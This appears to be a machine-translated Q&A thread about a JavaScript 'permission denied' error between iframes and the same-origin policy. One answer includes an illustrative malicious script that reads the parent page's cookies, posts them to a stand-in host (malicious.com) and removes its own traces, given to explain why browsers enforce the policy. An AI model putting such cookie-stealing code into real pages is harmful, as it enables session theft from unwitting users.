javascript权限被拒绝访问属性

时间:2013-05-22 03:25:27

标签: javascript

我在从其他iframe访问属性时遇到问题。我一直拒绝这个权限访问属性错误。我见过人们问他们是否多次使用file:///但是没有人(除了我)以至于永远不会被解决。

我不是在网上这样做的。我所有帧的src都在我硬盘上的同一个文件中。我试图从我在其他框架中创建的对象中获取一些属性

function fill_with_pairs()
{
    for (var x = 0 ; x < setLength ; x++)
    {
        var tempSet = sets[x];
        var tempNums = tempSet.wb_numbers;
        if (top.num_frame.active_list.active_nums[x].checked)
        {
            for (var y = 0 ; y < 4 ; y++)
            {
                var thesePairs = tempNums[y];
                var pairBase = numbersX[thesePairs];
                for (var z = y+1 ; z < 5 ; z++)
                {
                    var pairKey = tempNums[z];
                    pairBase[z]++;
                }
            }
        }
    }
}

2 个答案:

答案 0 :(得分:10)

以下代码

<iframe src="http://example.com" onload="test(this)"></iframe>
<script>
function test(frame)
{
    var cDoc = frame.contentDocument;
}
</script>

抛出

Unsafe JavaScript attempt to access frame with URL http://example.iana.org from frame with URL {your URL}. Domains, protocols and ports must match.

协议必须匹配(例如:主窗口和iframe协议必须是file:http:来命名一对。)

域必须匹配(例如:主窗口和iframe域必须为example.com

端口必须匹配(例如:主窗口和iframe端口必须为808080


这是为了保护用户免受恶意网站执行的代码,如果没有这些边界,可能很容易从不知情的用户那里窃取数据。

恶意JavaScript代码示例:

<script id="loadScript">
window.onload = function()
{
    //grab parent to iframe
    var parentWindow = window.parent.window;
    //grab cookies from parent window
    var cookies = parentWindow.document.cookie;
    //send cookies off to malicious site
    var form = document.createElement("form");
    var inp = document.createElement("input");
    form.action="http://malicious.com/maliciousAd.php";
    form.method="post";
    inp.value=cookies;
    inp.name="cookies";
    form.appendChild(inp);
    form.submit();
    //remove traces of malicious code
    document.body.removeChild(document.getElementById("loadScript"))
}
</script>

答案 1 :(得分:3)

任何尝试访问其他域上文档属性的JavaScript(例如iframe元素)都违反了same origin policy的安全概念。

  

在计算中,相同的原始政策是一个重要的安全概念   对于许多浏览器端编程语言,例如   JavaScript的。该策略允许在源自页面上运行的脚本   来自同一站点 - 方案,主机名和端口的组合   number 1 - 访问彼此的方法和属性,没有   具体限制,但阻止访问大多数方法和   不同网站上页面的属性。